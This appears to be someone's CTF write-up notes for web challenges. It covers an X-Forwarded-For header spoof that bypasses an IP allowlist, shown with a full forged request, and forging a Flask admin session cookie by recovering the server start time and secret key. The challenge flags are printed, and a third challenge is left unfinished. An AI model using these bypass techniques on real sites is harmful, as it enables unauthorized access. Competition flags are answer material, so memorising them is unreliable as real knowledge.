

Web Challenges

Giraffe Notes

- Meta Info:
 - Prompt - I bet you can't access my notes on giraffes!
 - link - <http://chal.competitivecyber.club:8081/>
- The webpage has nothing on it besides some basic CSS & HTML body
- Look at the source code and at the top there's an interesting `if()` check:

```
<?php
$allowed_ip = ['localhost', '127.0.0.1'];

if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $allowed_ip)) {
    $allowed = true;
} else {
    $allowed = false;
}
?>
```

- That `if()` check is used here:

```
<?php
if (!$allowed) {
?>
    <div class="py-8 px-4 mx-auto max-w-screen-xl lg:py-16 lg:px-6"> ...
    </div>
?>
} else {
?>
```

- with extra HTML elements including the flag being inside the `else()` statement
- So it's a basic `x-forwarded-for` vulnerability and the source file let's us know which IP-addresses have higher-level access
- Here's documentation on the [X-Forwarded-For HTTP Header](#)
- But essentially the XFF-Header lets a server know what the original IP address of the client connecting to it was, in case of there being proxies or other middle-men between transmissions
- So just open up Burpsuite --> paste in the challenge link in the burp-chromium-browser --> send to repeater --> and add in this line
 - `X-Forwarded-For: 127.0.0.1`

```
GET / HTTP/1.1
Host: chal.competitivecyber.club:8081
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

- Now the server will think you're the owner/admin of the page and give you the flag
- Flag: CACI{1_lik3_g1raff3s_4_l0t}

Impersonate

- Meta Info:
 - prompt - one may not be who they say they are
 - link - <http://chal.competitivecyber.club:9999/>
- If you input any string with substring "admin" for the username it won't let you login
- if you input anything else it logs you in & creates a "session" cookie
- username: me & password: password
 - example cookie =
eyJ1aWQiOiIzYmFlNjA1ZC1jZWNLlTU0NmItOTdhMC0xZTAxNDBlMWUzZTAiLCJ1c2VybmFtZSI6Im1lIn0.Zu7mZQ.1tbKyVzMtyezXdVATaHW8xs1J8s
- The server prevents non-alphanumeric inputs for the "username" but not for the password
 - typical XSS payloads won't cause anything on our end
 - And even though there's templating here

```
from flask import Flask, request, render_template, jsonify, abort, redirect, session
```
 - no typical SSTI payloads do anything either so it's probably not XSS or SSTI
- Here are the requisites to be recognized as an admin and get the flag:
 - ```
@app.route('/admin')
def admin_page():
 """Display the admin page if the user is an admin."""
 if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
 return flag
 else:
 abort(401)
@app.route('/status')
def status():
```
  - It only cares about the "session" cookie which has 3 parts:
    - is\_admin boolean, uid value, and a username value
- Parts of the Solution
  - Can decode the "session" cookie from Flask to know the formatting for any user(just login once)
    - ```
{
  "is_admin": false,
  "uid": "3bae605d-cece-546b-97a0-1e0140e1e3e0",
  "username": "me"
}
```
 - used this [online flask session cookie decoder](#)
 - We have the "UUID" and can make the same instance of it as the server
 - ```
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
```
    - With the UUID we can make any uid we want
      - ```
uid = uuid.uuid5(secret, username)
```
 - Need the Secure Key used to make/encrypt each session cookie which in this case is based off the server's start time
 - ```
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
```
    - The server's start time periodically resets at intervals to prevent people from bruteforcing by just steadily going back in time so it only works for a certain breadth of time

- Can reverse engineer the `server_start_time` from the `/status` page

```
@app.route('/status')
def status():
 current_time = datetime.now()
 uptime = current_time - server_start_time
 formatted_uptime = str(uptime).split('.')[0]
 formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
 status_content = f"""Server uptime: {formatted_uptime}

 Server time: {formatted_current_time}
 """
 return status_content
```

- Whole Solution:

1. Create the same "uid" as the administrator with `uid = uuid.uuid5(secret, 'administrator')`
  2. Get the server's start time to create the "secure\_key" by looking at the `/status` page
    - do "current time - uptime" to get `server_start_time`
  3. Create your own "administrator" session cookie
    - use this python script [flask\\_session\\_manager](#) to create cookies
  4. go to the `/admin` webpage after overwriting your default session cookie with the one made in step 3
- **Flag:** PCTF{Imp3rs0n4t10n\_lz\_Sup3r\_Ezz}

## Open Sesame (Incomplete)

- Meta Info:
  - <http://chal.competitivecyber.club:13336/>
  - Does the CLI listen to magic?
- In a reverse to the usual setup, we are giving the admin bot commands, but can't see the response from the server
- can pass the bot pages to visit hosted by the server
- the flag is in `http://127.0.0.1:1337/api/cal`
  - however admin bot disallows the substring "cal" & "%" from being used as input, so no URL encodings